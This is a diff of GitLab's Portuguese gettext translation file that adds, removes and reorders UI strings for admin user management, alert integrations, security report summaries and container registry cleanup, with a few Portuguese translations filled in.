msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} será removido! Tens a certeza?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Iniciado"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} Ramo"
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr "Página de perfil de %{user_name}"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr "Ativar Central de Serviços"
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr "Notas de administração"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "Ativo"
@@ -2129,16 +2119,19 @@ msgstr "Bloqueado"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "Não é possível desbloquear utilizadores bloqueados em LDAP"
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr "Externo"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr "Para confirmar, digita %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Para confirmar, digita %{username}"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "Sem projetos"
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "Alertas"
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr "Permitir acesso público às pipelines e detalhes do trabalho, incluindo
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Permitir renderização de diagramas PlantUML em documentos Asciidoc."
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "Ocorreu um erro"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "Ocorreu um erro ao buscar o endereço da Central de Serviços."
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Ocorreu um erro ao buscar as listas do painel. Por favor, tenta novamente."
@@ -3001,18 +3126,21 @@ msgstr "Ocorreu um erro ao buscar esta aba."
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr "Ocorreu um erro ao receber os projetos"
-msgid "An error occurred while importing project: %{details}"
-msgstr "Ocorreu um erro durante a importação do projeto: %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "Ocorreu um erro ao começar os bloqueios de caminho"
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr ""
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr "Ocorreu um erro ao renderizar a mensagem de pré-visualização da trans
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr "Ocorreu um erro ao assinar as notificações."
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Ocorreu um erro ao atualizar o comentário"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr "Aplicar sugestão"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} aprovação obrigatória de %{membersCount}"
msgstr[1] "%{count} aprovações obrigatórias de %{membersCount}"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Tens a certeza de que desejas apagar este dispositivo? Esta ação não pode ser desfeita."
-msgid "Are you sure you want to delete this list?"
-msgstr "Tens a certeza de que desejas apagar esta lista?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Tens a certeza de que desejas apagar este agendamento de pipeline?"
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr "Tens a certeza de que queres remover esta identidade?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "Tens a certeza de que queres recriar o token de registo?"
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr "Bloqueado"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr "Por %{user_name}"
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr "Definições de CI / CD"
msgid "CI Lint"
msgstr "CI Lint"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr "Canary Deploymentss é uma estratégia CI popular, onde uma pequena porção da frota é atualizada para a nova versão da tua aplicação."
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Cancelar"
@@ -4785,9 +4963,6 @@ msgstr "Não foi possível criar o relatório de abuso. Este utilizador foi bloq
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr "Alterações"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr "As alterações não terão lugar até que o índice seja %{link_start}recriado%{link_end}."
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr "Verifica Novamente"
msgid "Check feature availability on namespace plan"
msgstr "Verificar disponibilidade de recursos no plano do espaço de nomes"
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Verifica a %{docs_link_start}documentação%{docs_link_end}."
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "Escolhe um ramo/tag (por exemplo, %{master}) ou insere um envio (por exemplo, %{sha}) para ver o que foi alterado ou para criar um pedido de mesclagem."
@@ -5241,6 +5413,9 @@ msgstr "Escolher um ficheiro…"
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Escolhe o grupo de nível superior para as tuas importações de repositório."
@@ -5409,7 +5584,7 @@ msgstr "Etiqueta de classificação (opcional)"
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "está indisponível: %{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr "Limpa peso."
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr "Clonar com SSH"
msgid "Close"
msgstr "Fechar"
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr "Fechar épico"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "Fechar objetivo"
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} foi instalado com sucesso no teu cluster Kubernetes"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificado CA"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr "Gestor de Certificados"
@@ -5970,9 +6148,6 @@ msgstr "Cluster de grupo"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr "Aprende mais sobre os clusters do Kubernetes de grupo"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Aprende mais sobre a instância de clusters do Kubernetes"
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr "A URL usada para acessar a API Kubernetes."
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
